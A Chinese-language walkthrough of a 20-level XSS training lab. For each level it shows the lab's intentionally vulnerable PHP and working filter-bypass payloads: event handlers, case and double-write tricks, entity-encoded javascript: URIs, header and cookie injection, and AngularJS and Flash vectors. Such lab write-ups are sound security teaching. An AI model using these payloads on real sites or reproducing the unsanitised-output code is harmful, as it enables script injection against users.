某XSS挑战赛解题思路

XSS挑战赛解题思路

level1

image.png

查看源代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level2.php?keyword=test"; 
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

可以看到name处没有任何过滤,直接插入payload即可

<script>alert(1)</script>
image.png

level2

image.png

代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level3.php?writing=wait"; 
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

可以看到keyword参数使用了htmlspecialchars()函数进行过滤

实例

<?php
$str = "This is some <b>bold</b> text.";
echo htmlspecialchars($str);
?>

以上代码的HTML输出如下


image.png

image.png

也就是说<>不能用,那就换吧
点击触发


image.png

鼠标滑动触发
image.png

image.png

再者就是
就是在构造payload时
将input的文本框本分提前闭合

 "><script>alert(1)</script>
image.png

level3

image.png

image.png

双引号被过滤,查看源码发现存在单引号,可以尝试单引号闭合>被转译,所以试用//闭合


image

payload
'onclick=alert(1)//

我们来看下源码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level4.php?keyword=try harder!"; 
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

比第二关多了value='".htmlspecialchars($str)."'闭合<"">构造script弹窗方法失效了,应为value中的<被转义了,只能利用上题中的js来构造弹窗,不过这里需要用单引号闭合,构造payload。

level4

可直接使用第二关的payload


image.png

我们来看看源代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level5.php?keyword=find a way out!"; 
}
</script>
<title>欢迎来到level4</title>
</head>
<body>
<h1 align=center>欢迎来到level4</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level4.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>

可以看到接参数的时候多了一步将<>,替换为空,依然可以使用第二关的js事件触发xss。
str_replace()函数实例


image.png

所以可以使用的payload

" onfocus=alert(1) autofocus="
" onclick=alert(1) //

level5

image.png

查看网页源代码时发现on事件被破坏,但是并未过滤<>,所以尝试使用<>构造payload


image.png

image.png

image.png

我们来看下源码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level6.php?keyword=break it out!"; 
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<h1 align=center>欢迎来到level5</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>

strtolower()函数


image.png

这次大小写绕过也失效了,但是并没有过滤<>。所以这里使用伪协议来构造payload。

"><iframe src=javascript:alert(1)>
"><a href=javascript:alert(1)> 
"> <a href="javascript:alert(1)">zhouzhong</a>
"> <a href="javascript:%61lert(1)">zhouzhong</a> //

后面三个需要点击

level6

image.png

看样子也是过滤了on事件和script,使用伪协议构造payload


image.png

发现href也被过滤src也被过滤了


image.png

image.png

尝试下大小写绕过方式,成功弹窗。
image.png

接下来我们看一看源码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level7.php?keyword=move up!"; 
}
</script>
<title>欢迎来到level6</title>
</head>
<body>
<h1 align=center>欢迎来到level6</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level6.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>

可以看到代码中使用了str_replace(),函数替换了<script>,on事件 src data href 但是接收参数的时候并没有使用strtolower() 参数规避大小写的问题,导致可以使用大小写绕过成功实现弹窗。
可以使用的paylaod有

"> <Script>alert(1)</script> //
"> <img Src=x OnError=alert(1)> //
"><a HrEf="javascript:alert(1)">zhouzhong</a>//
" OncliCk=alert(1) //

level7

image.png

发现过滤了script和on事件,过滤方式为替换称空值,大小写也做了匹配


image.png

image.png

既然它将我们的关键字替换为空,那我们尝试下双写方式绕过,果然可以


image.png

我们来看下源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level8.php?keyword=nice try!"; 
}
</script>
<title>欢迎来到level7</title>
</head>
<body>
<h1 align=center>欢迎来到level7</h1>
<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level7.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>

禁用大小写
script,on,src ,data ,href 都直接转换成空,直接使用双写

"><sscriptcript>alert(1)</sscriptcript>
">hello<sscriptcript>alert(1)</sscriptcript>
" oonnmouseover=alert(1)
"><a hrhrefef=javascriscriptpt:alert(1)>zhouzhong</a>

level8

image.png

初步尝试下,一般的都已经被过滤了,大小写也尝试了没绕过去,重点应该在href里面


image.png

发现JavaScript被过滤成javasc_rpt,所以这里我们尝试使用实体编码绕过匹配


image.png

将r修改成r所以payload为
javasc&#x72;ipt:alert`1`

image.png

在线实体编码转换
可以使用的payload还有

javascrip&#x74;:alert(1)
javasc&#x72;ipt:alert`1`
javasc&#x0072;ipt:alert`1`

接下来我们看看源码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level9.php?keyword=not bad!"; 
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<h1 align=center>欢迎来到level8</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>

script 转换成 scr_ipt
on 转换成 o_n
src 转换成 sr_c
data 转换成 da_ta
href 转换成 hr_ef
大小写失效
" 还被编码,但是尖括号<> ,单引号 ’ ,% ,# ,& 符号没有被过滤,输出点在a标签内,href属性中,
属性中双引号被转换成HTML实体,无法截断属性,我们可以使用协议绕过javascript:alert,由于script关键字被过滤.javascript会被替换成javasc_rpt,我们使用&#x72来代替r ,可以直接用上面的payload尝试

level9

我们还是先看看源码吧

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level10.php?keyword=well done!"; 
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<h1 align=center>欢迎来到level9</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>

看了源码之后才知道和上一关大同小异,只是存在检测http://。不存在的花会报链接不合法,所以在构造payload可以尝试添加上,成功弹窗
构造payload

javascrip&#x74;:alert(1)//http://xxx.com                        //利用注释
javascrip&#x74;:%0dhttp://xxx.com%0dalert(1)                 //不利用注释
image.png

level10

image.png

我们还是先来看看源码吧

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level11.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level10</title>
</head>
<body>
<h1 align=center>欢迎来到level10</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level10.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

仔细观察我们可以看到可以利用的参数是str33,也就是t_sort这个参数。是隐藏属性
这个参数过滤了<>。所以我们可以构造payload

keyword = test&t_sort="type="text" onclick = "alert(1)
keyword = test&t_sort="type="text" onmouseover="alert(1)

成功实现弹窗


image.png

level11

image.png

我们还是先来看代码吧

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level12.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level11</title>
</head>
<body>
<h1 align=center>欢迎来到level11</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level11.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

可以看到这次输出点在http_refferer处,可以直接调用上一关的payload

Referer: " onmouseover=alert(1) type="text"
Referer: " onclick="alert(1) type="text"
image.png

可以看到成功弹窗


image.png

level12

image.png

我们还是来看代码吧

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level13.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level12</title>
</head>
<body>
<h1 align=center>欢迎来到level12</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level12.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

可以看到这里把输出点放在了http_user_agent上,原理与level11基本相同,所以还是通过bp改包,达到弹窗的效果,payload可以直接用上一关的

Referer: " onmouseover=alert(1) type="text"
Referer: " onclick="alert(1) type="text"
image.png

image.png

level13

image.png

我们来看源码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level14.php"; 
}
</script>
<title>欢迎来到level13</title>
</head>
<body>
<h1 align=center>欢迎来到level13</h1>
<?php 
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level13.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

从代码中可以看出这次的输出点在cookies的user中,原来和前两关一致,所以可以直接用上面的payload
``
Referer: " onmouseover=alert(1) type="text"
Referer: " onclick="alert(1) type="text"

bp中改包
![image.png](https://upload-images.jianshu.io/upload_images/4267332-abeb39517186a0c0.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
成功弹窗
![image.png](https://upload-images.jianshu.io/upload_images/4267332-ac827b851b7ef9b7.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

#level14
![image.png](https://upload-images.jianshu.io/upload_images/4267332-5b2f085c907cf22a.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
一眼看上去很高大上的样子,我们还是来看看源码吧

<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<title>欢迎来到level14</title>
</head>
<body>
<h1 align=center>欢迎来到level14</h1>
<center><iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center><center>这关成功后不会自动跳转。成功者<a href=/xsschallenge/level15.php?src=1.gif>点我进level15</a></center>
</body>
</html>

实在没什么头绪,还好网上已经有大佬解决了
[level14](https://xz.aliyun.com/t/1206#toc-12)
![](https://upload-images.jianshu.io/upload_images/4267332-68b65740fcca5d30.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
但是为啥我的不会出现上传点,🤔,希望有大佬可以指导下

#level15
![image.png](https://upload-images.jianshu.io/upload_images/4267332-8090f4480ebced02.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
我们还是来看看源码吧

<html ng-app>
<head>
<meta charset="utf-8">
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.min.js"></script>
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level16.php?keyword=test";
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<?php
ini_set("display_errors", 0);
str =_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

从代码上看似乎可以控制的点在src这个参数上。但是没想明白这个怎么用,看了下网上大佬的解法。
这题有angular js,然后ng-include相当于php的include函数,然后src参数被转译了,最终我们可以通过include
level1然后在用img标签传xss
payload

http://localhost/XSS/level15.php?src=%27level1.php?name=%3Cimg%20src=1%20onerror=alert(1)%3E%27


#level16
![image.png](https://upload-images.jianshu.io/upload_images/4267332-aa169b3e5e52e063.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
源码

<!DOCTYPE html><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level17.php?arg01=a&arg02=b";
}
</script>
<title>欢迎来到level16</title>
</head>
<body>
<h1 align=center>欢迎来到level16</h1>
<?php
ini_set("display_errors", 0);
str = strtolower(_GET["keyword"]);
str2=str_replace("script","&nbsp;",str);
str3=str_replace(" ","&nbsp;",str2);
str4=str_replace("/","&nbsp;",str3);
str5=str_replace(" ","&nbsp;",str4);
echo "<center>".str5."</center>"; ?> <center><img src=level16.png></center> <?php echo "<h3 align=center>payload的长度:".strlen(str5)."</h3>";
?>
</body>
</html>

这里我们可以观察到script被过滤 / 空格 被过滤。我们可以用上一关的img标签,以及%0a绕过空格
payload

<img%0asrc=1%0aonerror=alert(1)>


#level17
![image.png](https://upload-images.jianshu.io/upload_images/4267332-76e39960d9816a1f.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
源码

<!DOCTYPE html><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
}
</script>
<title>欢迎来到level17</title>
</head>
<body>
<h1 align=center>欢迎来到level17</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars(_GET["arg01"])."=".htmlspecialchars(_GET["arg02"])." width=100% heigth=100%>";
?>
<h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>
</body>
</html>

这个直接在embed标签中插入onmouseover事件

http://localhost/XSS/level17.php?arg01=a&arg02=b%20onmouseover=alert(1)

![image.png](https://upload-images.jianshu.io/upload_images/4267332-fe2c139ef134fd2b.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)


#level18
![image.png](https://upload-images.jianshu.io/upload_images/4267332-8f01f67da6d837e9.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
看源码

<!DOCTYPE html><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level19.php?arg01=a&arg02=b";
}
</script>
<title>欢迎来到level18</title>
</head>
<body>
<h1 align=center>欢迎来到level18</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars(_GET["arg01"])."=".htmlspecialchars(_GET["arg02"])." width=100% heigth=100%>";
?>
</body>
</html>

这不是和level17差不多么
直接用上一关的payload

http://localhost/XSS/level18.php?arg01=a&arg02=b%20onmouseover=alert(1)

![image.png](https://upload-images.jianshu.io/upload_images/4267332-af4d9474a54ade46.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)



#level19
![image.png](https://upload-images.jianshu.io/upload_images/4267332-20d561419c9f20a8.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
看代码

<!DOCTYPE html><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level20.php?arg01=a&arg02=b";
}
</script>
<title>欢迎来到level19</title>
</head>
<body>
<h1 align=center>欢迎来到level19</h1>
<?php
ini_set("display_errors", 0);
echo '<embed src="xsf03.swf?'.htmlspecialchars(_GET["arg01"])."=".htmlspecialchars(_GET["arg02"]).'" width=100% heigth=100%>';
?>
</body>
</html>

flash xss,需要对flash的反编译对源码进行分析,这里使用[jpexs-decomplier](https://github.com/jindrapetrik/jpexs-decompiler)来分析。

sIFR.menuItems.push(new ContextMenuItem("Followlink",function()
{
getURL(sIFR.instance.primaryLink,sIFR.instance.primaryLinkTarget);
}),new ContextMenuItem("Open link in new window",function()
{
getURL(sIFR.instance.primaryLink,"_blank");
}));
再追踪到sIFR的内容,省略了一些代码,关键代码如下:
if(loc5 && _root.version != sIFR.VERSION)
{
loc4 = sIFR.VERSION_WARNING.split("%s").join(_root.version);
}
得知version参数可以传入loc4变量中,即sIFR的内容中,但是getURL 只在内容为link时,打开,故定位以下函数:
function contentIsLink()
{
return this.content.indexOf("<a ") == 0 &&(this.content.indexOf("<a ") ==this.content.lastIndexOf("<a ") &&this.content.indexOf("</a>") == this.content.length - 4);
} //大体意思是要geturl得用a标签吧。

首先分析geturl函数
追踪到sIFR的内容
得知version参数可以传入loc4变量中,即sIFR的内容中,但是getURL只在内容为link时打开,所以分析contentIsLink函数
所以我们可以构造 标签来传值

http://localhost/XSS/level19.php?arg01=version&arg02=%3Ca%20href=%22javascript:alert(%27xss%27)%22%3E111%3C/a%3E

![image.png](https://upload-images.jianshu.io/upload_images/4267332-dc44ca00f86029d1.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)





#level20
payload

%22))}catch(e){}if(!self.a)self.a=!alert(1)//%26width%26height

[参考](https://www.freebuf.com/sectool/108568.html)






















最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 159,716评论 4 364
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,558评论 1 294
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 109,431评论 0 244
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 44,127评论 0 209
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,511评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,692评论 1 222
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,915评论 2 313
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,664评论 0 202
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,412评论 1 246
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,616评论 2 245
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,105评论 1 260
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,424评论 2 254
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,098评论 3 238
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,096评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,869评论 0 197
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,748评论 2 276
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,641评论 2 271

推荐阅读更多精彩内容

  • 前言 这是比较简单的xss练习小游戏,非常适合入门。一直以来,对xss的内容总感觉有一些屏障,应该是因为动手实践太...
    煊奕阅读 2,773评论 0 2
  • XSS常见Payload总结 XSS漏洞的存在与发生伴随两个概念: 输入函数和输出函数。XSS攻击Payload...
    BerL1n阅读 2,553评论 0 3
  • 之前积累了XSS 有一段时间,因为目前开始了一件有趣的工程,需要整合非常多的知识,其中Web 安全这一块出现最多的...
    刀背藏身阅读 8,931评论 0 16
  • level 1 一开始界面上什么都没有,一般是从url上想办法顺便查一下php代码, window.alert ...
    沙雕带你蒿羊毛阅读 7,772评论 0 4
  • 在知识星球上看到别人发的一个XSS靶场,刚好适合刷完sql-labs的我学习XSS level1 没有任何过滤,直...
    2mpossible阅读 13,344评论 0 5